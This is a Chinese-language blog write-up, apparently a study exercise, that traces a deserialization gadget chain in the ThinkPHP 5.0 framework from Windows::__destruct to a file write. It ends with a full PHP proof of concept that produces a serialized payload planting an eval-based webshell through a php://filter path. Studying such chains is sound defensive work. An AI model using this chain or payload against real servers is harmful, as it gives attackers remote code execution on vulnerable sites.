前提

源码下载完成之后,因为并不存在反序列化入口,所以需要手动添加

application\index\controller\Index.php中修改一下

1
2
3
4
5
6
public function index()
{
$payload = $_POST['payload'];
@unserialize(base64_decode($payload));
return "";
}

image-20240802013552618

知识点

  • 在 PHP 中,file_exists 函数会在检查文件路径时将传递的参数转换为字符串。由于这个转换行为,它会触发对象的 __toString 方法。

  • method_exists 是 PHP 中的一个内置函数,用于检查某个类或对象是否存在某个方法

  • 抽象类是一种特殊的类, 不能被实例化, 只能被继承, 可以包含抽象方法和非抽象方法, 子类必须实现抽象方法,不然会报错 , 使用抽象类需要实例化它的子类

分析过程

从Windows.php 类的 --destruct() 开始寻找

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

跟着去寻找 removeFiles()

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

存在 file_exists() 可以调用到类对象的 __toString() 方法
搜索一下哪些类里面使用了 __toString() 方法
可以找到很多的类, 选择 Model.php

image-20240731223755681

Model.php中定义了一个抽象类Model,所以我们需要找到一个它的子类, 有两个子类 MergePivot
选择 Pivot

Model.php 的 __toString()

1
2
3
public function __toString(){
return $this->toJson();
}

继续跟着寻找 toJson()

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

继续跟着寻找 toArray()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);

// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

912行可以看到 $value 调用了 getAttr() 方法, 最终的目的是通过 调用 __call() 方法实现写 shell, 如果 $value 可控,
就可以通过控制 $value 调用到 __call()
在对象中调用一个不可访问方法时,__call() 会被调用, 控制 $value 为一个没有getAttr() 方法的对象

image-20240731233610471

if (!empty($this->append)) 开始

首先要保证$this→append数组不为空, 然后要进入到第三个else语句中 , 需要满足

is_array($name) –> $name不能为数组
strpos($name, '.') –> $name的值中不含 .

然后就是 $relation = Loader::parseName($name, 1, false);

进入到 parseName() 方法

1
2
3
4
5
6
7
8
9
10
11
12
public static function parseName($name, $type = 0, $ucfirst = true)
{
if ($type) {
$name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
return strtoupper($match[1]);
}, $name);

return $ucfirst ? ucfirst($name) : lcfirst($name);
}

return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}

就是对传入的参数 进行两种命名方式的转变, 没有什么影响 (大小写的命名或者下划线的命名)

然后是 method_exists($this, $relation)

当前对象需要有 $relation 方法, 而 $relation其实就是$name , $name 就是$this→append的值 ,且$append 是可控的
所以就可以控制 $relation 为当前对象 \think\Model 拥有的方法,

选择 getError() 方法

1
2
3
4
5
6
public function getError()
{
return $this->error;
}

// $this->error 可控

此时 $modelRelationgetError() 的返回值, 可控

然后就是 $value = $this->getRelationData($modelRelation)
我们需要控制 $value , $value 的值由getRelationData() 方法返回

跟进getRelationData() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}

传入的参数 $modelRelation 需要为 Relation 类的实例,或者任何从 Relation 类继承而来的子类实例

再看到if 判断语句, 进入到里面需要满足三个条件

  1. $this->parent 可控, 可以满足
  2. !$modelRelation->isSelfRelation() , 需要isSelfRelation()返回为 false
  3. get_class($modelRelation->getModel()) == get_class($this->parent))
第二个条件 isSelfRelation()
1
2
3
4
public function isSelfRelation()
{
return $this->selfRelation;
}

$selfRelation 可控, 可以满足第二个条件

第三个条件 getModel()
1
2
3
4
public function getModel()
{
return $this->query->getModel();
}

$query可控, 所以需要寻找在某个类里面有可控的 getModel()
Query.php中 存在getModel() 可控

1
2
3
4
public function getModel()
{
return $this->model;
}

而且 $this->parent 可控, 所以可以满足第三个条件
能够满足三个条件, 进入到if 语句里面去

$value = $this->parent, 从而可以控制到 $value 的值
现在 $value 的值可控 , 继续向下走

来到method_exists($modelRelation, 'getBindAttr')

$modelRelation 里面需要有 getBindAttr() 方法

前面可知 $modelRelation 需要是 Relation 类的实例,或者任何从 Relation 类继承而来的子类实例
现在还需要满足 有 getBindAttr() 方法
搜索可以发现 只有OneToOne 类中存在getBindAttr() 方法 , 而且 OneToOne类也是继承Relation 类的子类, 满足条件
但是OneToOne 是个抽象类, 无法实例化, 又需要找它的子类 , 可以找到 HasOne
可以令 $modelRelation的值为 HasOne

接着就是if ($bindAttr)

1
2
3
4
5
public function getBindAttr()
{
return $this->bindAttr;
}
//$this->bindAttr可控

$bindAttr = $modelRelation->getBindAttr() , 所以 $bindAttr 可控, 进入到if语句中

然后因为$data默认为空, 就可以进入到 $item[$key] = $value ? $value->getAttr($attr) : null;

就可以控制 $value 进入到 __call() 方法实现写shell
现在就需要找到适合写shell 的 __call() 方法

Output.php 里面的 __call()方法

$methon –>getAttr() $args –>$attr –> $this->bindAttr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}

if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}

}

$this->styles 可控, 进入到 if里面

找一下 block() 方法

1
2
3
4
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}

找到writeln方法

1
2
3
4
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

找到 write 方法

1
2
3
4
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

$this->handle 可控, 再搜索看看还有哪些类存在 write 方法

Memcache.php中的write方法

1
2
3
4
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

$this→headler可控, 再找可利用的 set 方法

File.php的set

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

存在函数file_put_contents,可以想办法利用写入shell

1
$result = file_put_contents($filename, $data);

向上看看 $filename$data 是否可控

1
$filename = $this->getCacheKey($name, true);
跟进getCacheKey()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function getCacheKey($name, $auto = false)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}

$this->options可控
$filename = $this->options['path'] . $name . '.php'; 后缀名已经固定为 .php 了, 且文件名的一部分是可控的

再去看看 $data是否可控

1
$data = serialize($value);

$data是第二个参数$value的序列化值,不可控, 也就无法写入想要的内容

继续向下走, 可以看到后面调用了一个 setTagItem方法

1
isset($first) && $this->setTagItem($filename);
setTagItem方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}

可以看到后面又一次调用了 set()方法, 且此时的参数 $value可控,
$value –> $name –> $filename

第二次调用set() 方法, $key 参数也就是前面set()方法的 $name参数 会再次进入 getCacheKey 方法,
导致这个参数也是可控的

所以在第二次调用set时,file_put_contents的俩个参数都可控 ,也就可以写入shell了

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
<?php
namespace think\process\pipes {
class Windows {
private $files = [];

public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {
class Query {
protected $model;

function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {
class Memcached
{
protected $handler;

function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}

namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}

}
}

namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
echo base64_encode(serialize($window));
}

打入payload, 会在目录下生成一个php文件
image-20240802013652457

访问相应的文件
image-20240802013825154

https://xz.aliyun.com/t/8143?time__1311=n4%2BxnD0Dc7GQDt5itD%2FiW4BIFTxI2TM2DeTD#toc-12
https://www.cnblogs.com/seizer/p/17035791.html
https://www.cnblogs.com/Yhck/p/15616884.html